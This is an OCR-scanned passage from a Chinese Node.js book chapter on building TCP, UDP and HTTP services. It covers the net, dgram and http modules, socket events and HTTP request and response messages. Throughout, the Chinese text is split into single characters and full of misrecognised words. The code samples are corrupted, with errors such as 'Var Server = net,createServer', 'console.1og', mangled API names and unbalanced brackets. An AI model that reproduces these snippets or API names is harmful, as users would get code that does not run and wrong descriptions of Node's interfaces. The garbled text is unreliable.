中 扮演 各 种 各 样 的 角色 。 同 时 Node 提 供 的 API 十 分 贴 合 网 络 ， 适 合 

它 基 础 的 API 构 建 灵 活 的 网 络 服务 。 从 本 章 起 ， 我 将 介绍 Node 在 网 络 

服务 絮 方 面 的 具体 能 力 。 

利用 Node 可 以 十 分 方便 地 搭建 网 络 服务 器 。 在 Web 领 域 ， 大 多 数 的 编 

程 语言 需要 专门 的 Web 服 务 右 作为 容器 ， 如 ASP、ASP.NET 需 要 IIS 作 

为 服务 器 ，PHP 需 要 搭载 Apache 或 Nginx 环 境 等 ，JSP 需 要 Tomcat 服 务 

> ° 但 对 于 Node 而 言 ， 只 需要 几 行 代码 即 可 构建 服务 絮 ， 无 需 额外 
A 容 絮 o 

Node 提 供 了 net、dgram、http、httpsj 这 4 个 模块 ， 分 别 用 于 人 处理 TCP、 

UDP、HTTP、HTTPS， 适 用 于 服务 器 端 和 客户 端 。 


7.1 构建 TCP 服 务 

TCP 服 务 在 网 络 应 用 中 十 分 常见 ， 目 前 大 多 数 的 应 用 都 是 基于 TCP 搭 
建 而 成 的 。 

7.1.1 TCP 

TCP 全 名 为 传输 控制 协议 ， 在 OSI 模型 〈 由 七 层 组 成 ， 分 别 为 物理 层 、 
数据 链 结 层 、 网 络 层 、 传 输 层 、 会 话 层 、 表 示 层 、 应 用 层 ) 中 属于 传 
输 层 协议 。 许 多 应 用 层 协 议 基 于 TCP 构 建 ， 典 型 的 是 HITP、SMTP、 
IMAP 等 协议 。 七 层 协议 示意 图 如 图 7-1 所 示 。 


HTTP、SMTP、IMAP 等 | 应 用 层 


加 密 /解密 等 表示 层 
通信 连接 /维持 会 话 ”| 会 话 层 
TCP/UDP 传输 层 

LP 网 络 层 

网 络 特有 的 链 路 接口 “| 链 路 导 
网 络 物理 硬件 物理 层 


图 7-1 OSI 模型 〈 七 层 协议 ) 
TCP 是 面向 连接 的 协议 ， 其 显著 的 特征 是 在 传输 之 前 需要 3 次 握手 形成 
会 话 ， 如 图 7-2 所 示 。 


图 7-2 TCP 在 传输 之 前 的 3 次 握手 

只 有 会 话 形成 之 后 ， 服 务 器 端 和 客户 端 之 间 才 能 互相 发 送 数据 。 在 创 
建 会 话 的 过 程 中 ， 服 务 器 端 和 客户 端 分 别提 供 一 个 套 接 字 ， 这 两 个 套 
接 字 共同 形成 一 个 连接 。 服 务 器 端 与 客户 端 则 通过 套 接 字 实现 两 者 之 
间 连 接 的 操作 。 

7.1.2 ”创建 TCP 服 务 器 端 

在 基本 了 解 TCP 的 工作 原理 之 后 ， 我 们 可 以 开始 创建 一 个 TCP 服 务 器 
端 来 接受 网 络 请 求 ， 代 码 如 下 : 


var net = require('net'); 


Var Server = net,createServer(function (socket) { 
// 新 的 连接 
socket.on('data', function (data) { 
socket ,write(" 你 好 ")， 
); 


socket.on('end', function () { 


console.1og(' 连接 断 及 
}); 
socket ,write(" 欢 迎 光临 《深入 浅 出 Node .js》 示 例 : \n"); 
}); 


server.listen(8124, function () { 
console.log('server bound ' ) ; 


}); 


我 们 通过 net.ereateservertlistene) 印 可 创建 一 个 TCP 服 务 器 ， isEehe .是 这 
接 事 件 connection 的 侦 听 器 ， 也 可 以 采用 如 下 的 方式 进行 侦 听 : 


Var Server = net,createServer() 

server.on('connection', function (Socket ) { 
// 新 的 连接 

}); 


server.listen(8124); 


我 们 可 以 利用 Telnet 工 具 作 为 客户 端 对 刚才 创建 的 简单 服务 器 进行 会 话 
交流 ， 相 关 代 码 如 下 所 示 : 


$ telnet 127.0.0.1 8124 
Trying 127.0.0.1... 
Connected to localhost. 
Escape character is '^]'. 
欢迎 光临 《深入 浅 出 Node . js》 示例 : 
hi 

你 好 


除了 端口 外 ， 同 样 我 们 也 可 以 对 Domain Socket 进 行 监听 ， 代 人 码 如 下 : 


server.listen('/tmp/echo.sock'); 


通过 nc 工具 进行 会 话 ， 测 试 上 面 构建 的 TCP 服 务 的 代码 如 下 所 示 : 


$ nc -U /tmp/echo.sock 

欢迎 光临 《深入 浅 出 Node . js》 示例 : 
hi 

你 好 


通过 net 模 块 自行 构造 客户 端 进 行 会 话 ， 测 试 上 面 构 建 的 TCP 服 务 的 代 
码 如 下 所 示 : 


var net = require('net'),; 

var client = net.connect({port: 8124}, function () { //'connect' listener 
console.log('client connected'); 
client.write('world!\r\n'); 


}); 


client.on('data', function (data) { 
console.log(data.toSstring()); 
client.end(); 


}); 


client.on('end', function () { 


有 


console.log('client disconnected ' ) ， 


将 以 上 客户 端 代码 存 为 client.js 并 执行 ， 如 下 所 示 : 


$ node client.js 
client connected 


欢迎 光临 《深入 浅 出 Node . js》 示例 : 


你 好 


client disconnected 
其 结果 与 使 用 Telnet 和 nc 的 会 话 结 果 并 无 差别 。 如 果 是 Domain 
Socket， 在 填写 选项 上 时， 填写 patn 妈 可， 代码 如 下 : 


var client = net.connect({path: '/tmp/echo.sock'}); 


7.1.3 ” TCP 服务 的 事件 
在 上 述 的 示例 中 ， 代 码 分 为 服务 絮 事 件 和 连 授 事件 。 


1. 


服务 器 事件 


对 于 通过 net ,createServer() 创建 的 服务 器 而 言 ， 它 是 一 个 
EventEmitter 实 例 ， 它 的 目 定义 事件 有 如 下 几 种 。 


listening : 在 调 用 server.listen() 绅 p 定 痪 口 或 者 Domain 
Socket 后 触 发 ， 简 党 写 法 为 
EV TE SN Sun 通过 msesie 方 法 的 第 二 
个 参数 传 入 。 

EEC， 每 个 客户 端 套 接 字 连 接 到 服务 器 端 时 触发 ， 
人 简洁 写法 为 通过 net.createserver()， 最 后 一 个 参数 传递 。 
close: 当 服务 器 关闭 时 触发 ， 在 调用 server.close() 后 ， 服 
务 器 将 停止 接受 新 的 套 接 字 连接 ， 但 保持 当前 存在 的 连 
接 ， 等 每 所 有 连接 都 断 开 后 ， 会 触发 该 事件 。 

error: 当 服 务 器 发 生 异 党 时 ， 将 会 触发 该 事件 2 比如 侦 
听 一 个 使 用 中 的 端口 ， 将 会 触发 一 个 异 第 ， 如 琳 不 侦 听 
error 事 件 ， 服务 器 将 会 抛 出 异常 


连接 事件 

服务 句 可 以 同时 与 多 个 客户 端 保持 连接 ， 对 于 每 个 连接 而 言 
是 典型 的 可 写 可 读 strean 对 象 

strean 对 象 可 以 用 于 服务 器 端 和 客户 端 之 间 的 通信 ， 既 可 以 通 
过 data 事 件 从 一 端 读 取 另 一 端 发 来 的 数据 ， 也 可 以 通过 write() 


方法 从 一 端 辑 一 端 发 送 数据 。 它 具有 如 下 目 定义 事件 。 
data: 当 一 只 调用 write0 发 送 数据 时 ， 帮 一端 会 触发 data 事 
件 ， 事 件 传递 的 数据 即 是 write0) 发 送 的 数据 。 
人 


connect: 该 事件 用 于 客户 端 ， 当 套 接 字 与 服务 硕 端 连接 成 
功 时 会 被 触发 。 


drain: 当 任 意 一 端 调 用 write0 发 送 数据 时 ， 当 前 这 端 会 触 
发 该 事件 。 


error: 当 异 常 发 生 时 ， 触发 该 事件 

close: 当 套 接 字 完全 关闭 时 ， 触发 该 事件 9 

tineout: 当 一 定时 间 后 连接 不 再 活跃 时 ， 该 事件 将 会 被 触 

发 ， 通 知 用 户 当 前 该 连接 已 经 被 闲置 了 。 
另外 ， 由 于 TCP 套 接 字 是 可 写 可 读 的 stream 对 象 ， 可 以 利用 
pips0 广 法 态 妙 地 实现 官 者 操 作 ， 如 下 代码 实现 了 一 个 echo 服 
方 从 : 


var net = require('net'); 


var Server = net,createServer(function (socket) { 
Socket ,write( "Echo server\r\n'); 
Socket .pipe(Socket ) 


}); 


server.listen(1337, '127.0.0.1'); 


值得 注意 的 是 ，TCP 针 对 网 络 中 的 小 数据 包 有 一 定 的 优化 策 
略 : Nagle 算 法 。 如 果 每 次 只 发 送 一 个 字 市 的 内 容 而 不 优化 ， 
网 络 中 将 充满 只 有 极 少数 有 效 数据 的 数据 包 ， 将 十 分 浪费 网 
络 资源 。Nagle 算 法 针对 这 种 情况 ， 要 求 缓 神 区 的 数据 达到 一 
定数 量 或 者 一 定时 间 后 才 将 其 发 出 ， 所 以 小 数据 包 将 会 被 
Nagle 算 法 合并 ， 以 此 来 优化 网 络 。 这 种 优化 虽然 使 网 络 带 禄 
被 有 效 地 使 用 ， 但 是 数据 有 可 能 被 延迟 发 送 。 

在 Node 中 ， 由 于 TCP 默 认 局 用 了 Nagle 算 法 ， 可 以 调用 
socket .setNopelay(true) 去 掉 Nagle 算 法 ， 使 得 Was 四 可 以 立即 发 送 
数据 到 网 络 中 。 

另 一 个 需要 注意 的 是 ， 尽 管 在 网 络 的 一 端 调 用 wite0 会 触发 另 
一 端的 uata 事 件 ， 但 是 并 不 意味 着 每 次 write0 都 会 触发 一 次 uata 


事件 ， 在 关闭 掉 Nagle 算 法 后 ， 另 一 端 可 能 会 将 接收 到 的 多 个 
小 数据 包 合并 ， 然 后 只 触发 一 次 uata 事 件 。 


7.2 ”构建 UDP 服务 

UDP 又 称 用 户 数 据 包 协议 ， 与 TCP 一 样 同 属于 网 络 传 输 层 。UDP 与 
TCP 最 大 的 不 同 是 UDP 不 是 面 癌 连接 的 。TCP 中 连接 一 旦 建立 ， 所 有 
的 会 话 都 基于 连接 完成 ， 客 户 端 如 果 要 与 另 一 个 TCP 服 务 通信 ， 需 要 
另 创建 一 个 套 接 字 来 完成 连接 。 但 在 UDP 中 ， 一 个 套 接 字 可 以 与 多 个 
UDP 服 务 通信 ， 它 虽然 提供 面向 事务 的 简单 不 可 靠 信 息 传输 服务 ， 在 
网 络 差 的 情况 下 存在 丢 包 严重 的 问题 ， 但 是 由 于 它 无 须 连 接 ， 资 源 消 
耗 低 ， 处 理 快 速 且 灵活 ， 所 以 常 溃 应 用 在 那 种 偶尔 丢 一 两 个 数据 包 也 
不 会 产生 重大 影响 的 场景 ， 比 如 音频 、 视 频 等 。UDP 目 前 应 用 很 广 
沁 ，DNS 服 务 即 是 基于 它 实现 的 。 

7.2.1 创建 UDP 套 接 字 

创建 UDP 套 接 字 十 分 简单 ，UDP 套 接 字 一 旦 创建 ， 既 可 以 作为 客户 端 
， 也 可 以 作为 服务 器 端 接收 数据 。 下 面 的 代码 创建 了 一 个 
UDP 套 接 字 : 


var dgram = require('dgram'); 
var Socket = dgram.createSocket("udp4"); 


7.2.2 ”创建 UDP 服务 器 端 
大 想 让 UDP 套 授 字 接收 网 络 消息 ， 只 要 调用 ggram.bind(port，[address]) 方 
法 对 网 卡 和 端口 进行 绑 定 即 可 。 以 下 为 一 个 完整 的 服务 器 端 示 例 : 


var dgram = require("dgram"); 


var server = dgram.createSocket("udp4"); 


server.on("message", function (msg, rinfo) { 

console.log("server got: "+ msg + " from ”+ 
rinfo.address + ":" + rinfo.port); 

}); 

server.on("listening", function () { 
var address = server.address(); 
console.log("server listening " + 

address.address + ":" + address.port); 


}); 


server .bind(41234); 
该 套 接 字 将 接收 所 有 网 卡 上 41234 端 口上 的 消 电 。 在 绑 定 完成 后 ， 将 触 
友 wseenamg 囊 什 9 
7.2.3 ”创建 UDP 客户 端 
接 下 来 我 们 创建 一 个 客户 端 与 服务 右 端 进行 对 话 ， 代 码 如 下 : 


var dgram = require('dgram'); 


var message = new Buffer(" 深 入 浅 出 Node .js"); 
var client = dgram.createSocket("udp4"); 
client.send(message, 0, message.length, 41234, "localhost", function(err, bytes 


{ 
Client ,Close()， 


}); 


保存 为 clientjs 并 执行 ， 服 务 釉 问 的 命令 行将 会 有 如 下 输出 : 
$ node server.js 


server listening 0.0.0.0:41234 
server got: 深入 浅 出 Node.js from 127.0.0.1:58682 


当 套 接 字 对 和 象 用 在 客户 端 时 ， 可 以 调用 seng0) 方 法 发 送 消息 到 网 络 中 。 
send() 方 法 的 参数 如 下 : 


socket.send(buf, offset, length, port, address, [callback]) 


这 些 参 数 分 别 为 要 发 送 的 Buffer、Buffer 的 偏 稀 、Buffer 的 长 度 、 上 目标 
端口 、 目 标 地 址 、 发 送 完 成 后 的 回调 。 与 TCP 套 接 字 的 write0 相 比 ， 
send() 方 法 的 参数 列表 相对 复杂 ， 但 是 它 更 灵活 的 地 方 在 于 可 以 随意 发 
送 数据 到 网 络 中 的 服务 器 端 ， 而 TCP 如 果 要 发 送 数据 给 另 一 个 服务 器 
端 ， 则 需要 重新 通过 套 接 字 构 造 新 的 连接 。 

7.2.4 UDP 套 接 字 事 件 


UDP 入 接 字 相 对 TCP 套 接 字 使 用 起 来 更 简单 ， 它 只 是 一 个 EventEmitter 的 
实例 ， 而 非 strean 的 实例 。 它 具备 如 下 目 定 义 事件 。 


。 message: 当 UDP 套 接 字 侦 听 网 卡 端口 后 ， 接 收 到 消息 时 触发 该 
事件 ， 触发 携带 的 数据 为 消息 Buffer 对 象 和 一 个 远程 地 址 信 

e listening: 当 UDP 套 接 字 开始 侦 听 时 触发 该 事件 。 

® Close : 调用 soseg0) 方 法 时 触发 该 事件 ， 并 不 再 触发 nessage 事 
件 。 如 需 再 次 触发 message 事件 ， 重 新 绑 定 即 可 。 

® error: 当 异 党 发 生 时 触发 该 事件 ， 如 果 不 侦 听 ， 异常 将 直接 
抛 出 ， 使 进程 退出 。 


7.3 构建 HTTP 服 务 
TCP 与 UDP 都 属于 网 络 传输 层 协议 ， 如 采 要 构造 高 效 的 网 络 应 用 ， 束 应 该 
从 传输 层 进 行 着 手 。 但 是 对 于 经 典 的 应 用 场景 ， 则 无 须 从 传输 层 协议 入 
手 构造 自己 的 应 用 ， 比 如 HTTP 或 SMTP 等 ， 这 些 经 典 的 应 用 层 协议 对 于 
普通 应 用 而 言 绰绰有余 。Node 提 供 了 基本 的 rttp 和 nttps 模 块 用 于 HTTP 和 
HTTPS 的 封装 ， 对 于 其 他 应 用 层 协议 的 封装 ， 也 能 从 社区 中 轻松 找到 其 
实现 。 
在 Node 中 构建 HTTP 服 务 极其 容易 ，Node 官 网 上 的 经 典 例子 就 展示 了 如 何 
用 罕 容 儿 行 代 码 实现 一 个 HITP 服 务 妖 ， 代 码 如 下 : 
var http = require(' http ' ) ， 
http,createServer(function (req, res) 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 


}).listen(1337, '127.0.0.1'); 
console.log('Server running at http://127.0.0.1:1337/'); 


尽管 这 个 HTTP 服 务 器 简单 到 只 能 回复 Hel1o wora， 但 是 它 能 维持 的 并 发 量 
和 QPS 都 是 不 容 小 遍 的 ， 其 背后 的 原因 在 第 3 章 中 有 叙述 ， 此 处 我 们 不 再 
探讨 。 这 里 我 们 抛 开 性 能 ， 只 对 其 HTTP 服 务 在 应 用 层 的 实现 原理 进行 展 
开 、 讨 论 和 研究 。 


7.3.1 HTTP 


1. 初 识 HTTP 


HTTP 的 全 称 是 超 文 本 传输 协议 ， 英 文 写作 HyperText Transfer 
Protocol 。 欲 了 解 Web， 先 了 解 HTTP 将 会 极 大 地 提高 我 们 对 Web 
的 认 知 。HTTP 构 建 在 TCP 之 上 ， 属 于 应 用 层 协 议 。 在 HTTP 的 两 
端 是 服务 器 和 浏览 器 ， 即 著名 的 B/S 模 式 ， 如 今 精 彩 纷 呈 的 Web 
即 是 HTTP 的 应 用 。 
HTTP 得 以 发 展 是 W3C 和 IETF 两 个 组 织 合作 的 结果 ， 他 们 最 终 发 
布 了 一 系列 RFC 标 准 ， 目 前 最 知名 的 HTTP 标准 为 RFC 2616。 

2 HTTP 报 文 
为 了 详细 解释 HITP 的 报 文 ， 在 启动 上 述 服 务 器 端 代码 后 ， 我 们 
对 经 典 示例 代码 进行 一 次 报 文 的 获取 ， 这 里 采用 的 工具 是 curl， 
通过 -v 选 项 ， 可 以 显示 这 次 网 络 通信 的 所 有 报 文 信息 ， 如 下 所 
仆 : 


$ curl -v http://127.0.0.1:1337 

* About to connect() to 127.0.0.1 port 1337 (#0) 
Trying 127.0.0.1... 

* connected 

* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0) 


> GET / HTTP/1.1 

> User-Agent: curl/7.24.0 (x86_64-apple- 
darwin12.0) libcurl/7.24.0 OpenssL/0.9.8r zl1ib/1.2.5 

>*Host: -127%0%0..171337 

Accept: */* 


HTTP/1.1 200 OK 

Content-Type: text/plain 

Date: Sat, 06 Apr 2013 08:01:44 GMT 
Connection: keep-alive 
Transfer-Encoding: chunked 


A AA A A NY 


< 
Hello World 

* Connection #0 to host 127.0.0.1 left intact 
* Closing connection #0 


从 上 述 信 息 中 我 们 可 以 看 到 这 次 网 络 通 信 的 报 文 信息 分 为 儿 个 
部 分 ， 第 一 部 分 内 容 为 经 典 的 TCP 的 3 次 握手 过 程 ， 如 下 所 示 : 

* About to connect() to 127.0.0.1 port 1337 (#0) 

Trying 127.0.0.1... 


connected 
Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0) 


第 二 部 分 是 在 完成 握手 之 后 ， 客 户 端 向 服务 器 端 发 送 请 求 报 
文 ， 如 下 所 示 : 


> GET / HTTP/1.1 

> User-Agent : curl/7.24.0 (x86_64-apple- 
darwin12.0) libcurl/7.24.0 OpenssL/0.9.8r zl1ib/1.2.5 

> Host: 127.0.0.1:1337 

> Accept: */* 

> 


第 三 部 分 是 服务 絮 端 完成 处 理 后 ， 向 客户 闻 发 送 响 应 内 容 ， 包 
括 啊 应 头 和 响应 体 ， 如 下 所 示 : 


< HTTP/1.1 200 OK 

< Content-Type: text/plain 

< Date: Sat, 06 Apr 2013 08:01:44 GMT 
< Connection: keep-alive 

< Transfer-Encoding: chunked 

< 
H 


ello World 


最 后 部 分 是 结束 会 话 的 信息 ， 如 下 所 示 : 


* Connection #0 to host 127.0.0.1 left Intact 
* Closing connection #0 


从 上 述 的 报 文 信息 中 可 以 看 出 HITP 的 特点 ， 它 是 基于 请 求 响应 
陈 的 ， 以 一 同一 答 的 方式 实现 服务 ， 昌 然 基 于 TCP 会 话 ， 但 是 本 
身 却 并 无 会 话 的 特点 。 

从 协议 的 角度 来 说 ， 现 在 的 应 用 ， 如 浏览 器 ， 其 实 是 一 个 HTTP 
的 代理 ， 用 户 的 行为 将 会 通过 它 转化 为 HTTP 请 求 报 文 发 送 给 服 
务 器 端 ， 服 务 器 闻 在 处 理 请 求 后 ， 发 送 啊 应 报 文 给 代理 ， 代 理 


在 解析 报 文 后 ， 将 用 户 需 要 的 内 容 呈 现在 界面 上 。 以 浏览 器 打 
开 一 张 图 片 地 址 为 例 : 首先 ， 浏 览 器 构造 HITP 报 文 发 向 图 片 服 
务 器 端 ; 然后 ， 服 务 器 端 判断 报 文 中 的 要 请 求 的 地 址 ， 将 人 磁 熏 
中 的 图 片 文 件 以 报 文 的 形式 发 送 给 浏览 器 ; 浏览 器 接收 完 图 片 
后 ， 调 用 渲染 引擎 将 其 显示 给 用 户 。 简 而 言 之 ，HTTP 服 务 只 做 
两 件 事情 : 处 理 HTTP 请 求 和 发 送 HTTP 响 应 。 

无 论 是 HTTP 请 求 报 文 还 是 HTTP 响 应 报 文 ， 报 文 内 容 都 包含 两 
个 部 分 : 报 文 头 和 报 文体 。 

上 文 的 报 文 代 码 中 > 和 < 部 分 属于 报 文 的 头 部 ， 由 于 是 str 请求 ， 请 
求 报 文中 没有 包含 报 文体 ， 响 应 报 文中 的 healo wor1d 即 是 报 文体 。 


7.3.2 http 模块 

Node 的 nttp 模 块 包含 对 HTTP 处 理 的 封装 。 在 Node 中 ，HTTP 服 务 继承 自 
TCP 服 务 器 (net 模块 ， 它 能 够 与 多 个 客户 端 保持 连接 ， 由 于 其 采用 事件 
驱动 的 形式 ， 并 不 为 每 一 个 连接 创建 额外 的 线程 或 进程 ， 保 持 很 低 的 内 
存 占用 ， 所 以 能 实现 高 并 发 。HTTP 服 务 与 TCP 服 务 模型 有 区 别 的 地 方 在 
于 ， 在 开启 keepalive 后 ， 一 个 TCP 会 话 可 以 用 于 多 次 请 求 和 响应 。TCP 服 务 
以 connection 为 单位 进行 服务 ， HTTP 服 务 以 request 为 单位 进行 服务 nttp 模 
块 即 是 将 connection 到 request 的 过 程 进 行 了 封装 ， 示意 图 如 图 7-3 所 示 


| connection ] 


1 
request | 
i 
' 
1 
request response ! 
1 
1 
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图 7-3 nttp 模 块 将 connection 到 request 的 过 程 进行 了 封装 

除 此 之 外 ，http 模 块 将 连接 所 用 套 接 字 的 读 写 抽象 为 serverrequest 和 
serverResponse 对 象 ， 它们 分 别 对 应 请 求 和 响应 操作 3 在 请 求 产 生 的 过 程 
中 ，http 模 块 拿 到 连接 中 传 来 的 数据 ， 调 用 二 进 制 模块 http_parser 进 行 解 
析 ， 在 解析 完 请 求 报 文 的 报头 后 ， 触 发 request 事 件 ， 调 用 用 户 的 业务 逻 
辑 。 该 流程 的 示意 图 如 图 7-4 所 示 。 
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request ! ! request |! 
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TCP 服务 器 套 接 字 
http 模 块 


图 7-4 nttp 模 块 产 生 请 求 的 流程 
Fs 0 0 world 这 部 分 ， 代 码 
De: 


function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

} 


1. HTTP 请 求 


对 于 TCP 连 接 的 读 操作 ， nttp 模 块 将 其 封装 a 
我 们 再 次 查看 前 面 的 请 求 报 文 ， 报 文 头 部 将 会 通 年 过 nttp_parser 进 进行 
解析 。 请 求 报 文 的 代码 如 下 所 示 : 


> GET / HTTP/1.1 
> User-Agent : curl/7.24.0 (x86_64-apple- 
darwin12.0) libcurl/7.24.0 OpenssL/0.9.8r zl1ib/1.2.5 

> Host: 127.0.0.1:1337 

> Accept: */* 

> 


报 文 头 第 一 行 esr /HTTP/1.1 被 解析 之 后 分 解 为 如 下 属性 。 
req.method 属 性 : 值 为 eer， 是 为 请 求 方法 ， 第 见 的 请 求 方法 有 
GET、PosT、pELETE、 PUT、 coNNEcT 等 儿 种 。 


req.url 属 性 : 值 为 / 
req.httpversion 属 性 : 值 为 1.1 8 


其 余 报头 是 很 规律 的 key: value 格 式 ， 被 解析 后 放置 在 req.neaders 属 
性 上 传递 给 业务 逻辑 以 供 调用 ， 如 下 所 示 : 


headers: 
{ "USer-agent ' : 'curl/7.24.0 (x86_64-apple- 
darwin12.0) libcurl/7.24.0 OpenssL/0.9.8r zl1ib/1.2.5', 
host: '127.0.0.1:1337 '， 
accept: '*/*"' } 


报 文 体 部 分 则 抽象 为 一 个 只 读 流 对 象 ， 如 有 果 业 务 逻 辑 需 要 读 取 
5 
a 


function (req, res) { 

// console.log(req.headers); 

var buffers = []; 

req.on('data', function (trunk) { 
buffers.push(trunk); 

}).on('end', function () { 
var buffer = Buffer.concat(buffers); 
// TODO 
res.end('Hello world'); 


} 


HTTP 请 求 对 象 和 HTTP 啊 应 对 象 是 相对 较 压 层 的 封装 ， 现 行 的 
Web 框 架 如 Connect 和 Express 都 是 在 这 两 个 对 象 的 基础 上 进行 高 
层 封装 完成 的 。 

HTTP 响 应 


再 来 看 看 HTTP 响 应 对 象 。HITP 啊 应 相对 简单 一 些 ， 它 封装 了 
对 底层 连接 的 写 操 作 ， 可 以 将 其 看 成 一 个 可 写 的 流 对 象 。 它 影 
啊 啊 应 报 文 头 部 信息 的 API 为 res.setheaduer0) 和 res.writehead() 在 上 
述 示例 中 : 


res.writeHead(200, {'Content-Type': 'text/plain'}); 


其 分 为 setneadqer0) 和 writenead0) 两 个 步骤 四 它 在 nttp 模 块 的 封装 下 ， 
实际 生成 如 下 报 文 : 


< HTTP/1.1 200 OK 
< Content -Type: text/plain 


我 们 可 以 调用 setneader 进 行 多 次 设置 ， 但 只 有 调用 writehead 后 ， 报 
头 才 会 写 入 到 连接 中 。 除 此 之 外 ，nttp 模 块 会 自动 帮 你 设置 一 些 
头 信息 ， 如 下 所 示 : 


< Date: Sat, 06 Apr 2013 08:01:44 GMT 
< Connection: keep-alive 

< Transfer-Encoding: chunked 

< 


报 文体 部 分 则 是 调用 不 中 ressend(y) 方法 实现 8 后 者 与 前 者 
的 差别 在 于 res.ena0 会 先 调用 witeO 发 送 数据 ， 然 后 发 送信 号 告知 
服务 絮 这 次 啊 应 结束 ， 啊 应 结果 如 下 所 示 : 


Hello World 


啊 应 结束 后 ，HITP 服 务 器 可 能 会 将 当前 的 连接 用 于 下 一 个 请 

求 ， 或 者 关闭 连接 。 值 得 注意 的 是 ， 报 头 是 在 报 文 体 发 送 前 发 

送 的 ， 一 旦 开始 了 数据 的 发 送 ， writeHead() 和 setHeader() 将 不 再 生 

效 。 这 由 协议 的 特性 决定 。 

另外 ， 无 论 服 务 希 端 在 处 理 业 务 逻 辑 时 是 否 发 生 异 利 ， 务 必 在 

结束 时 调用 res.end0) 结 束 请 求 ， 否 则 客户 端 将 一 直 处 于 等 待 的 状 

态 。 当 然 ， 也 可 以 通过 延迟 res.end0 的 方式 实现 客户 端 与 服务 器 

端 之 间 的 长 连接 ， 但 结束 时 务必 关闭 连接 。 

HTTP 服 务 的 事件 

如 同 TCP 服 务 一 样 ，HTTP 服 务 器 也 抽象 了 一 些 事件 ， 以 供应 用 

层 使 用 ， 同 样 典 型 的 是 ， 服 务 絮 也 是 一 个 Eventenmitter 实 例 。 
connection 事 件 : 在 开始 HTTP 请 求 和 响应 前 ， 客 户 端 与 服务 
妖 端 需要 建立 底层 的 TCP 连 接 ， 这 个 连接 可 能 因为 开启 了 
keep-alive， 可 以 在 多 次 请 求 啊 应 之 间 使 用 ， 当 这 个 连接 建立 
时 ， 服务 器 触发 一 次 connection 事 件 2 
request 事 件 : 建立 TCP 连 接 后 ，nttp 模 块 底 层 将 在 数据 流 中 抽 
象 出 HITP 请 求 和 HITP 啊 应 ， 当 请 求 数据 发 送 到 服务 器 
端 ， 在 解析 出 HITP 请 求 头 后 ， 将 会 触发 该 事件 ， 在 res.end0) 
后 ，TCP 连 接 可 能 将 用 于 下 一 次 请 求 响 应 。 
close 事 件 : 与 TCP 服 务 需 的 行为 一 致 ， 调用 servarmerssgj 方 法 
停止 接受 新 的 连接 ， 当 已 有 的 连接 都 断 开 时 ， 触 发 该 事 
可 以 给 server.close() 传 递 一 个 回调 函数 来 快速 注册 该 事 
checkcontinue 事 件 : 某 些 客户 端 在 发 送 较 大 的 数据 时 ， 并 不 会 
将 数据 直接 发 送 ， 而 是 先 发 送 一 个 头 部 带 Expect: 100-continue 
的 请 求 到 服务 器 ， 服务 器 将 会 触发 cneckcontinue 事 件 ; 如 果 没 


有 为 服务 器 监听 这 个 事件 ， 服 务 器 将 会 目 动 啊 应 客户 端 lee 
continue 的 状态 码 ， 表 示 接 受 数 据 上 传 ， 如 果 不 接受 数据 的 较 
多 时 ， 啊 应 客户 端 4ee Bad Request 拒 绝 客 户 端 继续 发 送 数据 即 
可 > 需要 注意 的 是 ， 当 该 事件 发 生 时 不 会 触发 request 事 件 ， 
两 个 事件 之 间 互 不 当 客 户 端 收 到 le continue 后 重新 发 起 请 
求 时 ， 才 会 触发 request 事 件 

O 〇 connect 事 件 : 当 客 户 端 发 起 cowEcr 请 求 时 和 触发， 而 发 起 cowNEcT 
请 求 通常 在 HITP 代 理 时 出 现 ;， 如果 不 监听 该 事件 ， 发 起 该 
请 求 的 连接 将 会 关闭 。 

o upgrade 事 件 : 当 客户 端 要 求 升 级 连接 的 协议 时 ， 需 要 和 服务 
吉 端 协商 ， 客 户 端 会 在 请 求 头 中 融 上 uperade 字 段 ， 服 务 器 端 
会 在 接收 到 这 样 的 请 求 时 触发 该 事件 。 这 在 后 文 的 
WebSocket 部 分 有 详细 流程 的 介绍 。 如 果 不 监 听 该 事件 ， 发 
起 该 请 求 的 连接 将 会 关闭 。 

9 clientError 事 件 : 连接 的 客户 端 触 发 error 事 件 时 ， 这 个 错误 会 
传递 到 服务 器 端 ， 此 时 触发 该 事件 。 


7.3.3 HTTP 客 户 端 

在 对 服务 器 端的 实现 进行 了 描述 后 ，HTTP 客 户 端 的 原理 几乎 不 用 再 描 
述 ， 因 为 它 就 是 服务 器 端 服 务 模型 的 另 一 部 分 ， 处 于 HTTP 的 另 一 端 ， 在 
整个 报 文 的 参与 中 ， 报 文 头 和 报 文 体 由 它 产 生 。 同 时 mttp 模 块 提供 了 一 个 
底层 Apr: http.request(options, connect), 用 于 构造 HTTP 客 户 端 2 

下 面 的 示例 与 上 文 的 cu 命令 大 致 相同 : 


Var options = { 
hostname: '127.0.0.1', 


port: 1334, 
pathss 7 
method: 'GET' 
}; 


var req = http.request(options, function(res) { 
console.log('STATUS: ' + res.statusCode); 
console.log('HEADERS: ' + JSON.stringify(res.headers)); 
res.setEncoding('utf8'"); 
res.on('data', function (chunk) { 
console.1log(chunk); 


}); 
req.end(); 

执行 上 述 代 码 得 到 以 下 输出 : 
$ node client.js 


STATUS: 200 
HEADERS: {"date":"sat, 06 Apr 2013 11:08:01 GMT", "connection":"keep- 


发 漂 


alive","transfer-encoding":"chunked"} 
Hello World 


中 options 参 数 决 定 了 这 个 HTTP 请 求 尖 中 的 内 容 ， 它 的 选项 有 如 下 这 


host: 服务 絮 的 域名 或 IP 地 址 ， 默 认为 localhost 。 

hostname: 服务 絮 名 称 a 

port: 服务 娇 端口， 默认 为 80。 

localaddress: 建立 网 络 连 接 的 本 地 网 卡 。 

socketpath: Domain 套 接 字 路 径 。 

method: _ HTTP 请求 方法 ， 默 认为 eer。 

path: 请 求 路 径 ， 默 认为 /。 

headers: 请 求 头 对 象 。 

auth: Basic 认 证 ， 这 个 值 将 被 计算 成 请 求 头 中 的 Autnorization 部 


报 文体 的 内 容 由 请 求 对 象 的 wite0 和 end() 方 法 实现 : 通过 write0) 方 法 向 连接 
中 写 入 数据 ， 通 过 endag0 方 法 告知 报 文 结束 。 它 与 浏览 器 中 的 Ajax 调用 几 近 
相同 ，Ajax 的 实质 就 是 一 个 异步 的 网 络 HTTP 请 求 。 


1. 


HTTP 了 响应 


HTTP 客 户 端的 啊 应 对 象 与 服务 器 端 较 为 类 似 ， 在 clientkequest 对 
